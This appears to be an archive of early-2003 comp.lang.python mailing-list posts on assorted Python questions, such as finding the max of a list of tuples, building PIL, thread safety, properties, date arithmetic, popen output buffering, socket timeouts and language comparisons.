> app there. I have the following question about this scenario: How
> would I connect input of the tkinter program to the output of the
> motif app and vice versa in this case? Is there any way to tell ssh
> client to do this or I would have to modify my apps to have support
> for ssl/tls?

Others have suggested netcat. You can use that and ssh port forwarding
to do this.

This all seems incredibly kludgy. You want to tell us why you want
this, and possibly we can come up with a better all-around solution?

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From phr-n2002b at NOSPAMnightsong.com  Sun Jan 12 17:18:58 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 12 Jan 2003 14:18:58 -0800
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <mailman.1042325780.6288.python-list@python.org> <7xsmvzw91d.fsf@ruckus.brouhaha.com> <mailman.1042392686.28473.python-list@python.org> <RpjU9.13481$%V.8248@nwrddc02.gnilink.net> <mailman.1042406306.3595.python-list@python.org>
Message-ID: <7xk7havwod.fsf@ruckus.brouhaha.com>

Christian Tismer <tismer at tismer.com> writes:
> >>... that can be
> >>achieved with a static system.
> 
> With a dynamic system, you can have backwards compatibility as well,
> together with the flexibility to try alternatives on-the-fly rather
> easily. Changing some very internal things to try something out is
> still not easy, but with welded C code, this is almost impossible.

Can you explain what you mean by static vs. dynamic?

Is PHP a static system or a dynamic one?  I ask this because the PHP
interpreter has been benchmarked as quite a bit faster than Python.
Of course that must be partly because the PHP language doesn't use
abstract objects so extensively, so the interpreter doesn't have to do
as many dictionary lookups all the time.



From p-abel at t-online.de  Tue Jan 21 15:02:00 2003
From: p-abel at t-online.de (Peter Abel)
Date: 21 Jan 2003 12:02:00 -0800
Subject: max() of a list of tuples
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <ygaX9.4400$bL4.431294@newsread2.prod.itd.earthlink.net>
Message-ID: <13a533e8.0301211202.6412c03c@posting.google.com>

Terry Hancock <hancock at anansispaceworks.com> wrote in message news:<ygaX9.4400$bL4.431294 at newsread2.prod.itd.earthlink.net>...
> Mario Wehbrink wrote:
> > i have a list of tuples that look like:
> > [(1,3,5), (8,16,2), (2,56,4)]
> > 
> > what i am interested, in is the tuple with the greatest value in pos 3.
> > So in this case it would be (1,3,5). Is there a way to tell
> > max(mylistoftuples) to only look at the last position of the tuples?
> 
> Don't know if this is the most elegant solution, but it does work:
> 
> l = [(1, 3, 5), (8, 16, 2), (2, 56, 4)]
> z = zip(*l)
> z  # prints [(1, 8, 2), (3, 16, 56), (5, 2, 4)]
> l[list(z[2]).index(max(z[2]))]  # prints (1, 3, 5)
> 
> Ugly, but:
> 
> * zip combines sequences into a list of tuples
> * one of these contains the sequence you want to test
> * we find the maximum and what its index in the sequence is
> * we use that to look up the index in the original list
> 
> Maybe someone will have a more elegant solution.
> 
> Cheers,
> Terry

How about this?

>>> l = [(1, 3, 5), (8, 16, 2), (2, 56, 4)]
>>> reduce(lambda y,(u,v,x):y>x and y or x,l)
(1, 3, 5)

Regards
Peter



From samthecat172 at comcast.net  Mon Jan 20 16:00:09 2003
From: samthecat172 at comcast.net (sam)
Date: Mon, 20 Jan 2003 16:00:09 -0500
Subject: Buildling PIL on windows
Message-ID: <vf2cnU_SF5Ka_rGjXTWcoQ@comcast.com>

Hello,
    I am trying to build PIL 1.1.3 on windows under python2.2  The setup.py
program is complaining about not being able to  find the include files for
the tk package, specifically tk.h

    I have downloaded and installed the python source distro and found no tk
source files there.  Can somebody point me in the direction of the tk files
?  Also is there a way to build PIL w/o tk support ?

TIA
sam





From raims at dot.com  Mon Jan 27 14:32:32 2003
From: raims at dot.com (Rhymes)
Date: Mon, 27 Jan 2003 20:32:32 +0100
Subject: BDE mit Python?
References: <3E34F503.2000906@web.de> <3E356338.9030605@removethis.free.fr>
Message-ID: <pan.2003.01.27.19.32.31.636081@dot.com>

On Mon, 27 Jan 2003 11:50:00 -0500, laotseu wrote:

> <attempt to translate, pardon my french!->

French?

-- 
Rhymes
rhymes at NOSPAMmyself.com





From knightsofspamalot-factotum at gvdnet.dk  Tue Jan  7 12:49:00 2003
From: knightsofspamalot-factotum at gvdnet.dk (Martin Christensen)
Date: Tue, 07 Jan 2003 18:49:00 +0100
Subject: Python + PostgreSQL
References: <kp65t0lxwp.fsf@wintermute.casa>
Message-ID: <87of6sx33n.fsf@gvdnet.dk>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>>>>> "Jorge" == Jorge Godoy <godoy at metalab.unc.edu> writes:
Jorge> Before I start downloading and building such applications, I'd
Jorge> like to know if there's something like ADODB or Perl's DBI
Jorge> module for Python that's a standard for building applications
Jorge> using RDBMS with Python.

Yes, there's the DB API v. 2. I use that to interface with PostgreSQL
from Python with great satisfaction. You can see the spec at
http://www.python.org/topics/database/DatabaseAPI-2.0.html.

Martin

- -- 
Homepage:       http://www.cs.auc.dk/~factotum/
GPG public key: http://www.cs.auc.dk/~factotum/gpgkey.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Using Mailcrypt+GnuPG <http://www.gnupg.org>

iEYEARECAAYFAj4bEwwACgkQYu1fMmOQldU7/ACg5MlYkryUVxebVYFvUTzuwezr
jqcAoNWOAb5zojFzO5nrUtqYTUu5Jabm
=ELiv
-----END PGP SIGNATURE-----



From martin at v.loewis.de  Fri Jan 24 06:14:18 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 24 Jan 2003 12:14:18 +0100
Subject: Alternative to os.listdir()/os.stat()
In-Reply-To: <mailman.1043401366.31240.python-list@python.org>
References: <mailman.1043304821.26500.python-list@python.org>	 <haf13vkfdu6al0h3ult2mu0r0688jq1dcg@4ax.com> <mailman.1043401366.31240.python-list@python.org>
Message-ID: <b0r766$raj$02$2@news.t-online.com>

Alfredo P. Ricafort wrote:
> Actually, I am considering of calling the 'ls' thru os.exec.  Maybe this
> one is faster.

I very much doubt that.

Martin





From mark.charsley at REMOVE_THIS.radioscape.com  Thu Jan 30 05:49:00 2003
From: mark.charsley at REMOVE_THIS.radioscape.com (Mark Charsley)
Date: Thu, 30 Jan 2003 10:49 +0000 (GMT Standard Time)
Subject: Simple Web Proxy
References: <memo.20030128171641.1600A@a.radioscape.com>
Message-ID: <memo.20030130104916.820A@a.radioscape.com>

In article <memo.20030128171641.1600A at a.radioscape.com>, 
mark.charsley at REMOVE_THIS.radioscape.com (Mark Charsley) wrote:

> I'd like a simple web-proxy that 

TVM all for your suggestions.

Mark



From shalehperry at attbi.com  Mon Jan  6 23:37:50 2003
From: shalehperry at attbi.com (Sean 'Shaleh' Perry)
Date: Mon, 6 Jan 2003 20:37:50 -0800
Subject: renaming files
In-Reply-To: <3e1a5058_3@nopics.sjc>
References: <3e1a5058_3@nopics.sjc>
Message-ID: <200301062037.50261.shalehperry@attbi.com>

On Monday 06 January 2003 19:58, Hilbert wrote:
> Hello,
>
> I'm new to python and trying to learn the language by doing some everyday
> tasks in it.
> I wanted to convert the following simple csh script to python:
>
> foreach i (test-????.*)
>   mv $i `echo $i | sed 's/test/final/'`
> end
>
> I can't find no easy way. I don't want to use a system call to 'ls', so got
> a list
> of files with os.listdir(), but how can I get a selective list?
> I can match "test-" with string.find, but I'm really looking for
> test-????.* (csh wildcards).
>
> Any suggestions?
>
> Thanks!

>>> import os, fnmatch
>>> filter(lambda x: fnmatch.fnmatch(x, '*.cc'), os.listdir('.'))
['Clientmenu.cc', 'Configmenu.cc', 'Iconmenu.cc', 'Rootmenu.cc', 'Screen.cc', 
'Slit.cc', 'Toolbar.cc', 'Window.cc', 'Windowmenu.cc', 'Workspace.cc', 
'Workspacemenu.cc', 'blackbox.cc', 'main.cc']

for those using python 2.x that can also be written as:

>>> [n for n in os.listdir('.') if fnmatch.fnmatch(n, '*.cc')]

See also the glob module.




From hansgeunsmeyer at earthlink.net  Sun Jan  5 13:43:19 2003
From: hansgeunsmeyer at earthlink.net (hg)
Date: 5 Jan 2003 10:43:19 -0800
Subject: Python threading tutorial?
References: <mailman.1041679867.22000.python-list@python.org> <1rm7va.i44.ln@beastie.ix.netcom.com> <mailman.1041757332.19797.python-list@python.org>
Message-ID: <95959723.0301051043.68a9e778@posting.google.com>

Gerrit Holl <gerrit at nl.linux.org> wrote in message 

> ...so I am currently not using the queues. Does that mean my application
> is not reliable, or is this a reliable solution? It seems to run ok...

It's definitely not reliably with your Matrix class, and I'm surprised
you haven't noticed any difficulties yet.

> 
> My source code:

> class Person(threading.Thread):
...
> 	def move(self, dir):
                ...
> 		if isinstance(self.mx[newx][newy], self.__class__):
> 			raise Collision
> 
> 		self.mx[self.x][self.y] = self.mx.bg
> 		self.mx[newx][newy] = self
> 		self.x = newx
> 		self.y = newy
> ...

For instance, if there is a thread switch immediately after isinstance
the state of your "world" may become inconsistent:

- thread A: person A sees that (newx, newy) is empty
- thread-switch to B: person B sees that (newx, newy) is empty, and
occupies those coordinates
- thread-switch back to A: person A occupies the same coordinates...

So, in class Matrix you have to add some kind of locking (see
Queue.py). Or you have to add some locking mechanism to function move.

Hans



From johnroth at ameritech.net  Fri Jan 17 16:30:20 2003
From: johnroth at ameritech.net (John Roth)
Date: Fri, 17 Jan 2003 16:30:20 -0500
Subject: The benefit of properties (was Re: PEP 8: on member variables vs. attributes)
References: <f57664b9.0301170041.46cc103e@posting.google.com> <v2fuopd3ui6o48@news.supernews.com> <3E280FE3.EB4033F@engcorp.com> <mailman.1042815692.24240.python-list@python.org>
Message-ID: <v2gtdin5ivd6a3@news.supernews.com>

"Laura Creighton" <lac at strakt.com> wrote in message
news:mailman.1042815692.24240.python-list at python.org...
>
> Peter Hansen wrote:
> >
> > I rebelled against this at the time, almost outlawing properties,
> > because it got to the point where I couldn't tell when something
> > was just setting a value, possibly with a check or clipping or
> > something applied, and when the code -- which looked like a simple
> > assignment -- was actually storing some data in a file, sending
> > a message to another thread, stopping the machine's motion, and
> > then launching a Space Shuttle.
> >
> > No doubt forbidding them was an overreaction, but at least it
> > let us start getting a handle on the complexity of the code.
>
> > I've been looking forward to having a chance to let them redeem
> > themselves when I start using them with Python... if they can.
> > Do they really enhance clarity and maintenance, or might they be
> > more _in the way_ of easy comprehension?
>
> This is a judgement call based on what level of abstaction you want
> for the solving of your problem.  Do you want any of your programmers
> to _care_ that what really happens when a state changes is 'store some
> data in a file, send a message to another thread ....'?  If their
> reaction is 'we're mathematicians, don't talk to us about hardware'
> then they may be absolutely correct.

I don't think any library exists that is that clean in the real world.
I certainly have never encountered one that hasn't, at some point,
turned around and bit me because the library's assumptions didn't
match my understanding.

John Roth
>
> Laura Creighton
>





From rpgnmets at aol.com  Wed Jan  1 17:01:09 2003
From: rpgnmets at aol.com (Rob Renaud)
Date: 1 Jan 2003 14:01:09 -0800
Subject: Python vs. Ruby
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net> <v14ch7mkp0vu55@news.supernews.com> <mailman.1041382562.17669.python-list@python.org> <v15qgkgpq72tbf@news.supernews.com>
Message-ID: <3759308d.0301011401.4b32deba@posting.google.com>

<lot snipped>
"John Roth" <johnroth at ameritech.net> wrote in message 
> Whether append() returns a *new* object or not is irrelevant to
> my arguement. The fact that it returns None is the wart.
> 
> John Roth

It's consistant, not a wart from my perspective.  If an object is
modified, it is not returned.

For every part of the (admittedly small) python library I know, that
is the case.  Returning None is a hint that the object is modified.

So then the question becomes, why don't append(), sort(), reverse()
return a new list and not modify the original?  Are mutable objects
themselves a wart on the langauge?



From lac at strakt.com  Thu Jan 30 11:48:29 2003
From: lac at strakt.com (Laura Creighton)
Date: Thu, 30 Jan 2003 17:48:29 +0100
Subject: Implicit lists 
In-Reply-To: Message from Mike Meyer <mwm@mired.org> 
   of "Thu, 30 Jan 2003 16:30:32 GMT." <x7bs1y1txx.fsf@guru.mired.org> 
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it> <x7bs1y1txx.fsf@guru.mired.org> 
Message-ID: <200301301648.h0UGmTjL000999@ratthing-b246.strakt.com>

> Alex Martelli <aleax at aleax.it> writes:
> 
> > def iteron(something):
> >     # string-like objects: treat as non-sequences
> >     try: something+''
> >     except TypeError: pass
> >     else:
> >         yield something
> >         return
> >     # other sequences
> >     try:
> >         for x in something: yield x
> >     except TypeError:
> >         yield something
> 
> I always thought that exceptions were expensive. Which makes me wonder
> why you aren't using "isinstance(something, str)" for that first test.
> 
>         Thanks,
>         <mike

> Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
> Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.
> -- 
> http://mail.python.org/mailman/listinfo/python-list

So when I pass it a string-like object I have made, the code just works.

Laura




From dipthot at my-deja.com  Wed Jan 22 21:04:57 2003
From: dipthot at my-deja.com (Glenn)
Date: 22 Jan 2003 18:04:57 -0800
Subject: my favs
References: <b0gp1r$mec$1@news.ksc.co.th> <b68f71a7.0301211050.68ab02dd@posting.google.com> <xWmX9.33379$bs2.30006@news2.central.cox.net> <3E2E05AC.2C136710@engcorp.com>
Message-ID: <1b7b30.0301221804.301846f4@posting.google.com>

Peter Hansen <peter at engcorp.com> wrote in message news:<3E2E05AC.2C136710 at engcorp.com>...
> Steve Holden wrote:
> > 
> > [to comp.lang.python only, and not all those others]
> > 
> > "Alan James Salmoni" <alan_salmoni at yahoo.com> wrote in message
> > news:b68f71a7.0301211050.68ab02dd at posting.google.com...
> > > Allan,
> > >
> > > Very concise. So what are your pet peeves then?
> > 
> > Hmmm...
> > 
> > When an empty post inspires a thread this long I begin to realise why I
> > don't have as much time as I used to read c.l.py
> 
> To be fair to c.l.p, it's likely only Alan James and myself are 
> c.l.p-denizens.  I suspect all the others are cross-posting intruders 
> from de.alt.dummschwatz and comp.sys.ibm.pc.games.strategic which 
> you just *know* are going to have a strange lot lurking within.
> 
> Wait a minute... does that somehow mean I'm on a level with
> people named GlennGlenn, mudpuppy, and Sinister Midget ?
> 
> Ouch, how low I've come....

Hey!  

GlennGlenn



From hjwidmaier at web.de  Fri Jan 24 01:53:51 2003
From: hjwidmaier at web.de (Hans-Joachim Widmaier)
Date: 23 Jan 2003 22:53:51 -0800
Subject: The "beaty" of date arithmetic
References: <6e990e29.0301222352.2ebb5c1e@posting.google.com> <clt03v8a49rtfhe90l7nomj91rll1n8vjk@4ax.com>
Message-ID: <6e990e29.0301232253.6298903@posting.google.com>

Manuel M. Garcia <mgarcia at cole-switches.com> wrote in message news:<clt03v8a49rtfhe90l7nomj91rll1n8vjk at 4ax.com>...
> The 'time' module is terrible for doing any kind of date arithmetic.
> In Python 2.3 there will be a standard module 'datetime' that will
> support straightforward and efficient date arithmetic.  But Python 2.3
> is in beta right now.
> 
> For now, please try 'mxDateTime', an extension module that is
> currently the best way to do date arithmetic in Python.

I've considered using mxDateTime, but from looking at the docs, I
haven't found anything that seemed to make it much easier. The
problems start as soon as you're going from fixed units like hour, day
to somewhat fuzzier like month. What date is "T - 1 month - 1 day"?
What date is "2000-02-29 + 1 year"? Date arithmetic *is* complex. Most
of the ugliness IMHO stems from the tuple-list conversions and
numerical indices. (Sure, I could have created names for them, making
this little thing even longer.)

I already compiled 2.3a1 but didn't install it as it didn't pass the
tests.

Thanks anyway,
Hans-Joachim



From lac at strakt.com  Thu Jan 23 19:34:45 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 24 Jan 2003 01:34:45 +0100
Subject: People have started mailing me ms-word docs (groan).
Message-ID: <200301240034.h0O0YjL8024796@ratthing-b246.strakt.com>

Saving the attatchment and then opening them with OpenOffice is getting
tedious.  Has anybody written a python program that runs under linux
and converts ms-word MIME attatchments to something readable?

Laura Creighton




From whisper at oz.net  Fri Jan 10 17:12:30 2003
From: whisper at oz.net (David LeBlanc)
Date: Fri, 10 Jan 2003 14:12:30 -0800
Subject: [Python-Dev] [ann] Minimal Python project
In-Reply-To: <Pine.SOL.4.52.0301101258040.10048@death.OCF.Berkeley.EDU>
Message-ID: <GCEDKONBLEFPPADDJCOEIEHPHEAA.whisper@oz.net>

I was thinking about something along these lines but with a different slant:
an "essential" python that's stripped way down and that could be ROM-able.
In the same way that Java is used in the Sharp Zarius, I think it would be
way cool to have an os/python cored PDA. I wonder if it could be done in
16mb or less, 8mb being the next logical number...

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: python-dev-admin at python.org [mailto:python-dev-admin at python.org]On
> Behalf Of Brett Cannon
> Sent: Friday, January 10, 2003 13:01
> To: holger krekel
> Cc: python-list at python.org; python-dev at python.org
> Subject: Re: [Python-Dev] [ann] Minimal Python project
>
>
> [holger krekel]
>
> > Minimal Python Discussion, Coding and Sprint
> > --------------------------------------------
> >
> > We announce a mailinglist dedicated to developing
> > a "Minimal Python" version.  Minimal means that
> > we want to have a very small C-core and as much
> > as possible (re)implemented in python itself.  This
> > includes (parts of) the VM-Code.
> >
>
> I can see this possibly being a good learning experience for people
> wanting to get into Python core programming.  Obviously it won't be the
> same as CPython, but since it will need to stay compatible it could easily
> be a good way to understand the concepts in how the language is designed
> before jumping into the full-fledged C core; this is especially true if
> most of it is written in Python.
>
> -Brett
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev





From chrisk at nipltd.com  Tue Jan 14 11:41:08 2003
From: chrisk at nipltd.com (Chris Keyes)
Date: Tue, 14 Jan 2003 16:41:08 +0000
Subject: Some good Python tuts ?
References: <h5wE9.101$Tl3.2735@nlnews00.chello.com>
Message-ID: <3E243DA4.1040203@nipltd.com>

I've not been following the group but I thought this was good

http://www.diveintopython.org/

Hope thats of use :-)

Ah, someone has already got there, but here's the link incase google had 
an off day ;-)

Bram Wijnands wrote:
> well i'm looking for some good tutorials for python im not a beginning
> programmer i know perl/php/vb and basic :P
> 
> anyway got some ideas ? :)
> 
> thnx in advanced
> 
> 




From dsavitsk at ecpsoftware.com  Tue Jan  7 14:43:46 2003
From: dsavitsk at ecpsoftware.com (dsavitsk)
Date: Tue, 07 Jan 2003 19:43:46 GMT
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com>
Message-ID: <S5GS9.5881$qU5.4697503@newssrv26.news.prodigy.com>

Sara wrote:

> Recent DICE survey resuts:
> 
> 
>>Number of Job Listings by Programming Language (January 3, 2003)
>>

>>
>> Visual Basic 2037        1095     10.07%
>>
>> Python       55          32       0.28%

This says nothing, of course. If the ratio of VB people to Python people 
is 2037 to 54 or greater, then you shouldn't be too worried.  I have no 
idea what the real numbers are, but I would not be surprised if the 
disparity was this large.

-d




From printf at hongkong.com  Fri Jan 17 09:11:20 2003
From: printf at hongkong.com (printf)
Date: Fri, 17 Jan 2003 22:11:20 +0800
Subject: it does not work again. Re: help!! getting output from another process
 line by line, using popen
In-Reply-To: <Xns9306963ED78FFLaocoon@62.153.159.134>
References: <b08ka1$q8l8@imsp212.netvigator.com> <Xns9306963ED78FFLaocoon@62.153.159.134>
Message-ID: <b092m1$8vf11@imsp212.netvigator.com>

Lao Coon wrote:
> cout <cout at netvigator.com> wrote in news:b08ka1$q8l8 at imsp212.netvigator.com:
> 
> 
>>Help!!
>>
>>There are 2 python scripts, one is to print out the output(output.py),
>>the other is supposed to get std output from output.py line by line.
>>However, it only get all the result after 40 seconds. Not during the
>>executing process. Any ideas?
>>
>>===========output.py==============
>>#! /usr/bin/python
>>
>>import time
>>
>>for i in range(1,20,1):
>>         print i
>>         time.sleep(2)
>>
>>================monitor.py===============
>>#! /usr/bin/python
>>
>>import os
>>import sys, string
>>cmd="python output.py"
>>
>>handle = os.popen(cmd, 'r', 1)
>>for line in handle:
>>     print line,
>>handle.close()
> 
> 
> This has something to do with the way the output is returned here..
> When you say "for line in handle" read() is called, it waits
> until everything has been received and then returns it as a list(only once). 
> To fix it explicitly call readline() instead.
> 
> HTH
> Lao

if you mean that "handle = os.popen(cmd, 'r', 1).readlines()", it wont 
work. it waits till finish running cmd, then go to the "for loop".

thanks anyway




From just at xs4all.nl  Mon Jan 13 14:11:34 2003
From: just at xs4all.nl (Just)
Date: Mon, 13 Jan 2003 20:11:34 +0100
Subject: ResourcePackage 1.0.0a2 available...
References: <mailman.1042476451.9009.python-list@python.org>
Message-ID: <just-E687F6.20113413012003@news1.news.xs4all.nl>

In article <mailman.1042476451.9009.python-list at python.org>,
 "Mike C. Fletcher" <mcfletch at rogers.com> wrote:

> ResourcePackage is a mechanism for automatically managing resources 
> (i.e. non-Python files: small images, documentation files, binary data) 
> embedded in Python modules (as Python source code), particularly for 
> those wishing to create re-usable Python packages which require their 
> own resource-sets.
[ ... ]
>     http://sourceforge.net/projects/resourcepackage/

Cool! Very nice idea.

One minor comment after a quick scan of the code: if possible, I'd make 
zlib compression optional, as when packaging the modules in a zip file 
(and import it with zipimport) would otherwise result in double 
compression.

Just



From gtalvola at nameconnector.com  Fri Jan 24 19:09:21 2003
From: gtalvola at nameconnector.com (Geoffrey Talvola)
Date: Fri, 24 Jan 2003 19:09:21 -0500
Subject: socket wedged forever in recv()
Message-ID: <61957B071FF421419E567A28A45C7FE54010DD@mailbox.nameconnector.com>

Peter Hansen [mailto:peter at engcorp.com] wrote:
> Geoffrey Talvola wrote:
> > 
> > I have a Windows NT client application that uses httplib to 
> > make requests to
> > a Windows NT server running Apache 2.0 serving up a cgi script.
> > Unfortunately, if I reboot the Apache server, if a request 
> > is in-progress,
> > the client will often wedge permanently.  I built a debug 
> > version of Python
> > 2.2.2 and verified that the client is stuck in a call to 
> > recv() and will
> > apparently never exit.  It's a little irritating that the 
> > client can't
> > detect the situation and return from recv() with an error 
> > code at this
> > point.  Does anyone know a way to get the client to notice 
> > that the server
> > is gone?
> 
> Use the "select" module.
> 

Agreed.  This is actually how timeoutsocket.py works -- it cleverly replaces
socket objects with a class that behaves like a socket, but uses select with
a timeout.  But timeoutsocket.py doesn't actually work with SSL, apparently
because the SSL support requires a real socket object, not the wrapper
provided by timeoutsocket.py.

But I think I've figured out how to modify timeoutsocket.py so that it wraps
the ssl object too, achieving the effect I need.  I'll submit a patch to the
timeoutsocket maintainer once I'm sure my fix is working.

- Geoff




From lac at strakt.com  Fri Jan 31 04:10:25 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 31 Jan 2003 10:10:25 +0100
Subject: Python vs. C++ Builder - speed of development 
In-Reply-To: Message from nlper@junglemate.com (Tyler) 
   of "30 Jan 2003 23:21:19 PST." <65d29696.0301302321.6439c897@posting.google.com> 
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <mailman.1043800733.19006.python-list@python.org> <65d29696.0301302321.6439c897@posting.google.com> 
Message-ID: <200301310910.h0V9APjL004732@ratthing-b246.strakt.com>

> Laura Creighton <lac at strakt.com> wrote in message news:<mailman.1043800733.19
> 006.python-list at python.org>...
>  
> > When I was working for the Canadian military, we got people working
> > on problems and then stuck them in machines which measured blood flow
> > in different regions of the brain.  Neither python nor C++ were
> > invented then, but C and Lisp were.
> > 
> > Statistically, C problem solvers were way more active in the
> > language-processing-and symbol-manipulation areas of the brain then
> > they were in the parts of the brain associated with imagery, drawing,
> > and conceptualising.  Lisp problem solvers were more balanced.
> 
> As I recall, the rule of thumb is that equalizing blood flow 
> is a good thing.
> 
> But I wonder where you found all those people who could comfortably 
> program in both Lisp and C. If the subjects weren't at least bilingual 
> in coding, wouldn't you'd be potentially obscuring the data with 
> self-selection issues? That is, inadvertently selecting programmer 
> subjects whose problem set preferences led to their preference for 
> C, say, and measuring a given blood flow difference because that 
> was just the way a subject used the brain in programming in general.

Indeed.  But it was also working with people who had never programmed
in any language before.  This is the nice thing about having a group
of soldiers around.  You can order them to do things they wouldn't do
on their own and see how they do it.  But the methodological problems
still abounded.

Once we apparantly found a difference between French Canadian thinking
and English Canadian thinking, when it came to thinking about parsing.
But I always had a deep suspicion that all we were finding out was
that there was one wonderful course in parsing taught at the
University of Montreal.

> 
> This reminds of the anecdotal correspondence of programming with 
> musicians. Ah, so many variables, so little time...

Alas.  I hope the Buddhists and Hindus are correct.  One lifetime isn't
enough.

> 
> Tyler
> -- 
> http://mail.python.org/mailman/listinfo/python-list

Laura




From bokr at oz.net  Fri Jan 31 17:28:34 2003
From: bokr at oz.net (Bengt Richter)
Date: 31 Jan 2003 22:28:34 GMT
Subject: ungetc in python
References: <slrnb3kntm.177.scott@debian.fenton.baltimore.md.us> <3E3A770F.1BF8FDEF@alcyone.com>
Message-ID: <b1etai$91h$0@216.39.172.122>

On Fri, 31 Jan 2003 05:15:59 -0800, Erik Max Francis <max at alcyone.com> wrote:

>Scott Fenton wrote:
>
>> Hello. I was wondering if anyone knew if there was
>> an equivilant of ungetc in Python. I Googled for it
>> and didn't find anything, and I need it for a parser
>> I'm working on.
>
>Not natively, though it would be quite straightforward to write your own
>wrapper around a file object that implemented a pushback ability.
>
It just occurred to me that that might be a useful
generalized capability for iterators -- and not necessarily
limited to a single item of pushback.

Regards,
Bengt Richter



From dsavitsk at ecpsoftware.com  Fri Jan 31 13:25:23 2003
From: dsavitsk at ecpsoftware.com (dsavitsk)
Date: Fri, 31 Jan 2003 18:25:23 GMT
Subject: In continuing of my question...
References: <f918ac11.0301300759.4ac814bc@posting.google.com> <3a2j3vk8qgtqrm0mfrlvahfcl0pso5cf6r@4ax.com> <b1d6cq$175p$1@bull.east.ru> <mailman.1043997238.14292.python-list@python.org> <b1dgcq$1iss$1@bull.east.ru> <EKr_9.48894$Hl6.6194298@news010.worldonline.dk> <b1dhin$1k8l$1@bull.east.ru>
Message-ID: <ncz_9.616$HG6.236491@newssrv26.news.prodigy.com>

Nicolay Vasiliev wrote:
>>Wich possibility? What do you mean by reporting?
> 
> 
> Sorry, guys!
> 
> I meant could I export data retrieved from any data sources (db or files)
> into MS Excel using python developed application. BTW, earlier you answered
> meaning COM, it's enough for me.

Aside from reportlab which generates PDFs (mentioned in one of the other 
posts), python is COM compliant, so you can use Access reporting or 
Crystal reporting if you have access to these tools.

Also, you can use ADO to interface w/ excel or access, or whatever win32 
data source or target you might have.  (as mentioned, you can also use 
mxODBC or whatnot, but i personally have found ADO to be a good tool.)


-d




From yaipa at yahoo.com  Thu Jan  2 13:08:14 2003
From: yaipa at yahoo.com (yaipa h.)
Date: 2 Jan 2003 10:08:14 -0800
Subject: Python vs. Ruby
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net>
Message-ID: <6e07b825.0301021008.2e080db9@posting.google.com>

Fred,

Core language wise, they're equal... follow your heart as
your purse will tell you Java/Perl. 

On a personal note, I love Python for it's ease of use, but the
robust modules keep me coming back. I can count on Python to
have a Perl module counter part done in about six months and 
for it to be of very high quality.  If this were not true then
I would hold my nose and write Perl.  If Ruby is six months behind
Python, then it is a year behind Perl (please excuse the gross 
over simplification, but I make my point). Ask yourself, can I wait a 
year or so for a new module to come out? Maybe, maybe not.

Regards,

yaipa.h




Fred <fred_news at lrc.puissante.com> wrote in message news:<_YhQ9.391356$GR5.119074 at rwcrnsc51.ops.asp.att.net>...
> Hello all.
> 
> I know Python and have come to love it very much. Nearly all of my 
> scripting tasks with large databases are written in it.
> 
> My question is this -- what are the qualitative differences between 
> Python and Ruby? Does Ruby has any strengths, either in the language 
> itself or its available libraries, that are better than Python? Or are 
> they pretty much even?
> 
> Also, on the issue of threading -- does Ruby have better support for 
> threading than Python? Or are they pretty much equal?
> 
> Thanks in advance for all of your responses.
> 
> -Fred



From ngps at netmemetic.com  Tue Jan 28 20:05:49 2003
From: ngps at netmemetic.com (Ng Pheng Siong)
Date: 29 Jan 2003 01:05:49 GMT
Subject: IP -> NetBIOS Name and MAC Address Resolution
References: <77tZ9.26309$LA4.2524369@news1.west.cox.net>
Message-ID: <b179dd$l8f$2@mawar.singnet.com.sg>

According to Gerald Gutierrez <pozix604 at hotmail.com>:
> I am stumped. Based on an IP address, how do I:
> 
> 1) resolve it to a NetBIOS machine name (from a WINS server), and
> 2) resolve it to a MAC address ?


nbtstat -A <ip-address>


-- 
Ng Pheng Siong <ngps at netmemetic.com> * http://www.netmemetic.com




From gbrunet at nospamsempersoft.com  Wed Jan  8 01:42:25 2003
From: gbrunet at nospamsempersoft.com (Greg Brunet)
Date: Wed, 8 Jan 2003 00:42:25 -0600
Subject: Python vs .Net
References: <mailman.1042002854.10321.python-list@python.org>
Message-ID: <v1ni31d5mh5id8@corp.supernews.com>

"Brian Quinlan" <brian at sweetapp.com> wrote in message
news:mailman.1042002854.10321.python-list at python.org...
>
> Let's imagine a routine like this:
>
> def matrix_rotate(matrix, angle, vector):
>     "Rotate the specified matrix"
>     from math import sin, cos
>
>     ...
>
> In Python, the matrix_rotate routine would likely work with a wide
> variety of "matrix" types without any additional effort. In C#, you
> would need to define a IMatrix interface and force all matrix
arguments
> to conform to that interface.

Sorry - but my math is a bit rusty - wouldn't a matrix just be an array
of floats (or maybe complex numbers), that would seem to be a pretty
straightforward definition and one that wouldn't impose an undo burden
on using the routine.

> > Now regardless if we're talking about "+" or Add, I think that we
can
> > both agree on what to expect if both a & b are Integers or Strings.
> > What if one is an integer & one is a string, however.  What if the
> > string has a numeric value?  What if we have an Integer and a Float.
>
> It makes mathematical sense for integers and reals to be addable
because
> the set of integers is a subset of the set of reals.
>
> Strings and integers are quite unrelated.

Actually what I was trying to infer with this, and the reference to the
PEP later on, is that if you add 2 integers, I would expect an integer
